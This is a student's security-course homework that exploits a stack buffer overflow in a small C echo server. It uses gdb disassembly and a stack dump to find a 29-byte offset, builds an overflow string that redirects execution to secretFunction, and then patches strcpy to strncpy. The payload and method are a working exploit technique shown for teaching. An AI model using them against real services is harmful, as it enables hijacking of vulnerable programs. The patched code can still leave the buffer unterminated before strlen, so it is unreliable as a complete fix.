Homework Number: 10
Name: Dylan Huynh
ECN login: huynh38
Due Date: 4/4/2023

First command:
disas secretFunction()

```
0x0000000000400e7a <+0>: push   %rbp
0x0000000000400e7b <+1>: mov    %rsp,%rbp
0x0000000000400e7e <+4>: mov    $0x401068,%edi
0x0000000000400e83 <+9>: callq  0x400930 <puts@plt>
0x0000000000400e88 <+14>:          mov    $0x1,%edi
0x0000000000400e8d <+19>:          callq  0x400a30 <exit@plt>
```

Used to get address of secretFunction()

Second command:
disas clientComm

```
  0x0000000000400d45 <+0>:     push   %rbp
   0x0000000000400d46 <+1>:     mov    %rsp,%rbp
   0x0000000000400d49 <+4>:     sub    $0x40,%rsp
   0x0000000000400d4d <+8>:     mov    %edi,-0x24(%rbp)
   0x0000000000400d50 <+11>:    mov    %rsi,-0x30(%rbp)
   0x0000000000400d54 <+15>:    mov    %rdx,-0x38(%rbp)
   0x0000000000400d58 <+19>:    movl   $0x0,-0x4(%rbp)
   0x0000000000400d5f <+26>:    mov    -0x38(%rbp),%rcx
   0x0000000000400d63 <+30>:    mov    -0x30(%rbp),%rdx
   0x0000000000400d67 <+34>:    mov    -0x24(%rbp),%eax
   0x0000000000400d6a <+37>:    mov    %rcx,%r8
   0x0000000000400d6d <+40>:    mov    %rdx,%rcx
   0x0000000000400d70 <+43>:    mov    $0x7,%edx
   0x0000000000400d75 <+48>:    mov    $0x1,%esi
   0x0000000000400d7a <+53>:    mov    %eax,%edi
   0x0000000000400d7c <+55>:    callq  0x4009b0 <getsockopt@plt>
   0x0000000000400d81 <+60>:    mov    -0x30(%rbp),%rax
   0x0000000000400d85 <+64>:    mov    (%rax),%eax
   0x0000000000400d87 <+66>:    cltq
   0x0000000000400d89 <+68>:    mov    %rax,%rdi
   0x0000000000400d8c <+71>:    callq  0x4009d0 <malloc@plt>
   0x0000000000400d91 <+76>:    mov    %rax,-0x10(%rbp)
   0x0000000000400d95 <+80>:    mov    -0x30(%rbp),%rax
   0x0000000000400d99 <+84>:    mov    (%rax),%eax
   0x0000000000400d9b <+86>:    movslq %eax,%rdx
   0x0000000000400d9e <+89>:    mov    -0x10(%rbp),%rsi
   0x0000000000400da2 <+93>:    mov    -0x24(%rbp),%eax
   0x0000000000400da5 <+96>:    mov    $0x0,%ecx
   0x0000000000400daa <+101>:   mov    %eax,%edi
   0x0000000000400dac <+103>:   callq  0x400910 <recv@plt>
   0x0000000000400db1 <+108>:   mov    %eax,-0x4(%rbp)
   0x0000000000400db4 <+111>:   cmpl   $0xffffffff,-0x4(%rbp)
   0x0000000000400db8 <+115>:   jne    0x400dce <clientComm+137>
   0x0000000000400dba <+117>:   mov    $0x40103a,%edi
   0x0000000000400dbf <+122>:   callq  0x400a00 <perror@plt>
   0x0000000000400dc4 <+127>:   mov    $0x1,%edi
   0x0000000000400dc9 <+132>:   callq  0x400a30 <exit@plt>
   0x0000000000400dce <+137>:   mov    -0x4(%rbp),%eax
   0x0000000000400dd1 <+140>:   movslq %eax,%rdx
   0x0000000000400dd4 <+143>:   mov    -0x10(%rbp),%rax
   0x0000000000400dd8 <+147>:   add    %rdx,%rax
   0x0000000000400ddb <+150>:   movb   $0x0,(%rax)
   0x0000000000400dde <+153>:   mov    -0x4(%rbp),%edx
   0x0000000000400de1 <+156>:   mov    -0x10(%rbp),%rax
   0x0000000000400de5 <+160>:   mov    %edx,%esi
   0x0000000000400de7 <+162>:   mov    %rax,%rdi
   0x0000000000400dea <+165>:   callq  0x400e92 <DataPrint>
   0x0000000000400def <+170>:   test   %eax,%eax
   0x0000000000400df1 <+172>:   je     0x400e1b <clientComm+214>
   0x0000000000400df3 <+174>:   mov    0x2012de(%rip),%rax        # 0x6020d8
<stderr@@GLIBC_2.2.5>
   0x0000000000400dfa <+181>:   mov    %rax,%rcx
   0x0000000000400dfd <+184>:   mov    $0x1b,%edx
   0x0000000000400e02 <+189>:   mov    $0x1,%esi
   0x0000000000400e07 <+194>:   mov    $0x401046,%edi
   0x0000000000400e0c <+199>:   callq  0x400a40 <fwrite@plt>
   0x0000000000400e11 <+204>:   mov    $0x1,%edi
   0x0000000000400e16 <+209>:   callq  0x400a30 <exit@plt>
   0x0000000000400e1b <+214>:   mov    -0x10(%rbp),%rdx
   0x0000000000400e1f <+218>:   lea    -0x15(%rbp),%rax
   0x0000000000400e23 <+222>:   mov    %rdx,%rsi
   0x0000000000400e26 <+225>:   mov    %rax,%rdi
   0x0000000000400e29 <+228>:   callq  0x400920 <strcpy@plt>
   0x0000000000400e2e <+233>:   lea    -0x15(%rbp),%rax
   0x0000000000400e32 <+237>:   mov    %rax,%rdi
   0x0000000000400e35 <+240>:   callq  0x400950 <strlen@plt>
   0x0000000000400e3a <+245>:   mov    %rax,%rdx
   0x0000000000400e3d <+248>:   lea    -0x15(%rbp),%rsi
   0x0000000000400e41 <+252>:   mov    -0x24(%rbp),%eax
   0x0000000000400e44 <+255>:   mov    $0x0,%ecx
   0x0000000000400e49 <+260>:   mov    %eax,%edi
   0x0000000000400e4b <+262>:   callq  0x400970 <send@plt>
   0x0000000000400e50 <+267>:   cmp    $0xffffffffffffffff,%rax
   0x0000000000400e54 <+271>:   jne    0x400e74 <clientComm+303>
   0x0000000000400e56 <+273>:   mov    $0x40102e,%edi
   0x0000000000400e5b <+278>:   callq  0x400a00 <perror@plt>
   0x0000000000400e60 <+283>:   mov    -0x24(%rbp),%eax
   0x0000000000400e63 <+286>:   mov    %eax,%edi
   0x0000000000400e65 <+288>:   callq  0x400990 <close@plt>
   0x0000000000400e6a <+293>:   mov    $0x1,%edi
   0x0000000000400e6f <+298>:   callq  0x400a30 <exit@plt>
   0x0000000000400e74 <+303>:   mov    -0x10(%rbp),%rax
   0x0000000000400e78 <+307>:   leaveq
   0x0000000000400e79 <+308>:   retq
```
For finding second breakpoint when looking for return address to overwrite

Third+ fourth command:
```
break clientComm
break *0x0000000000400e78
```
breakpoints for the program to look around when program runs

Sixth command + seventh:

```
run
continue
```
Brings us to the second breakpoint

Eighth + ninth command
```
print /x *((unsigned *) $rbp + 2)
0x400d3b
```
Gives us the return address to look for

```
x /100b $rsp
0x7fffffffdaf0: 0xffffffffffffff90     0xffffffffffffffdb     0xffffffffffffffff     0xffffffffffffffff     0xffffffffffffffff
0x7f    0x0     0x0
0x7fffffffdaf8: 0x58    0xffffffffffffffdb     0xffffffffffffffff     0xffffffffffffffff     0xffffffffffffffff     0x7f    0x0
0x0
0x7fffffffdb00: 0xffffffffffffff80     0xffffffffffffffdb     0xffffffffffffffff     0xffffffffffffffff     0xffffffffffffffff
0x7f    0x0     0x0
0x7fffffffdb08: 0x60    0xa     0x40    0x0     0x8     0x0     0x0     0x0
0x7fffffffdb10: 0x0     0x0     0x0     0x0     0x0     0x0     0x0     0x0
0x7fffffffdb18: 0xffffffffffffff90     0xffffffffffffffdb     0xffffffffffffffff     0x61    0xa     0x0     0x0     0x0
0x7fffffffdb20: 0x10    0xffffffffffffffb0     0x78    0xfffffffffffffff7     0xffffffffffffffff     0x7f    0x0     0x0
0x7fffffffdb28: 0x50    0xffffffffffffffe1     0xffffffffffffffff     0xfffffffffffffff7     0x2     0x0     0x0     0x0
```

```
0x7fffffffdb30: 0xffffffffffffff90      0xffffffffffffffdb      0xffffffffffffffff      0xffffffffffffffff      0xffffffffffffffff
0x7f    0x0     0x0
0x7fffffffdb38: 0x3b    0xd     0x40    0x0     0x0     0x0     0x0     0x0
0x7fffffffdb40: 0x78    0xffffffffffffffdc      0xffffffffffffffff      0xffffffffffffffff      0xffffffffffffffff      0x7f    0x0
0x0
0x7fffffffdb48: 0xffffffffffffffdf      0x8     0x40    0x0     0x2     0x0     0x0     0x0
0x7fffffffdb50: 0xffffffffffffff90      0xffffffffffffffdc      0xffffffffffffffff      0xffffffffffffffff
```

This was run with ‘a’ as the input string from the client, which let us find how far the string was from the return address by counting from 0x61 to the start of the return address.

We see that it is 29 bytes away so that;s how long our buffer needs to be
Add that to the address we got which was 0x00400e7a, we can make the string:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7a\x0e\x40\x00
```

This will cause a buffer overflow and trigger secretFunction() to be called

Below is the code for server.c with one line changed in clientComm() which uses the strcpy() function. The reason this is susceptible to buffer overflow is that it does not check the size of the array that is being copied for it’s size, which can cause the string it is copying into to overflow past the allocated memory for it. In order to fix this, I used the strncpy() function, which has a third parameter, which specifies the number of bytes, which I set as the variable MAX_DATA_SIZE which is used to allocate the amount of memory for str[] as well so that it will never copy more memory into str[].

```
//Homework Number: 10
//Name: Dylan Huynh
//ECN login: huynh38
//Due Date: 4/4/2023
/*
/ file : server.c
/-----------------------------------------
/ This is a server socket program that echos recieved messages
/ from the client.c program.  Run the server on one of the ECN
/ machines and the client on your laptop.
*/

// For compiling this file:
//        Linux:               gcc server.c -o server
//        Solaris:             gcc server.c -o server -lsocket

// For running the server program:
//
//                 server 9000
//
// where 9000 is the port you want your server to monitor.  Of course,
// this can be any high-numbered that is not currently being used by
others.

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
```

```
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <unistd.h>

#define MAX_PENDING 10     /* maximun # of pending for connection */
#define MAX_DATA_SIZE 5

int DataPrint(char *recvBuff, int numBytes);
char* clientComm(int clntSockfd,int * senderBuffSize_addr, int *
optlen_addr);

int main(int argc, char *argv[])
{
    if (argc < 2) {
    fprintf(stderr,"ERROR, no port provided\n");
    exit(1);
    }
    int PORT = atoi(argv[1]);



    int senderBuffSize;
    int servSockfd, clntSockfd;
    struct sockaddr_in sevrAddr;
    struct sockaddr_in clntAddr;
    int clntLen;
    socklen_t optlen = sizeof senderBuffSize;

    /* make socket */
    if ((servSockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("sock failed");
        exit(1);
    }

    /* set IP address and port */
    sevrAddr.sin_family = AF_INET;
    sevrAddr.sin_port = htons(PORT);
    sevrAddr.sin_addr.s_addr = INADDR_ANY;
    bzero(&(sevrAddr.sin_zero), 8);

    if (bind(servSockfd, (struct sockaddr *)&sevrAddr,
                sizeof(struct sockaddr)) == -1) {
        perror("bind failed");
        exit(1);
    }

    if (listen(servSockfd, MAX_PENDING) == -1) {
        perror("listen failed");
        exit(1);
    }

    while(1) {
        clntLen = sizeof(struct sockaddr_in);
        if ((clntSockfd = accept(servSockfd, (struct sockaddr *)
&clntAddr, &clntLen)) == -1) {
            perror("accept failed");
            exit(1);
        }

        printf("Connected from %s\n", inet_ntoa(clntAddr.sin_addr));

        if (send(clntSockfd, "Connected!!!\n", strlen("Connected!!!\n"),
0) == -1) {
            perror("send failed");
            close(clntSockfd);
            exit(1);
        }

        /* repeat for one client service */
        while(1) {
            free(clientComm(clntSockfd, &senderBuffSize, &optlen));
        }

        close(clntSockfd);
        exit(1);
    }
```

```
}

char * clientComm(int clntSockfd,int * senderBuffSize_addr, int *
optlen_addr){
    char *recvBuff; /* recv data buffer */
    int numBytes = 0;
    char str[MAX_DATA_SIZE];
    /* recv data from the client */
    getsockopt(clntSockfd, SOL_SOCKET,SO_SNDBUF, senderBuffSize_addr,
optlen_addr); /* check sender buffer size */
    recvBuff = malloc((*senderBuffSize_addr) * sizeof (char));

    if ((numBytes = recv(clntSockfd, recvBuff, *senderBuffSize_addr, 0))
== -1) {
        perror("recv failed");
        exit(1);
    }

    recvBuff[numBytes] = '\0';
    if(DataPrint(recvBuff, numBytes)){
        fprintf(stderr,"ERROR, no way to print out\n");
        exit(1);
    }

    //strcpy(str, recvBuff); //Problem!
    strncpy(str, recvBuff, MAX_DATA_SIZE); //Caps the number of copyable
bytes into the buffer so it does not overflow

    /* send data to the client */
    if (send(clntSockfd, str, strlen(str), 0) == -1) {
        perror("send failed");
        close(clntSockfd);
        exit(1);
    }


    return recvBuff;
}

void secretFunction(){
```

```c
    printf("You weren't supposed to get here!\n");
    exit(1);
}

int DataPrint(char *recvBuff, int numBytes) {
    printf("RECEIVED: %s", recvBuff);
    printf("RECEIVED BYTES: %d\n\n", numBytes);
    return(0);
}
```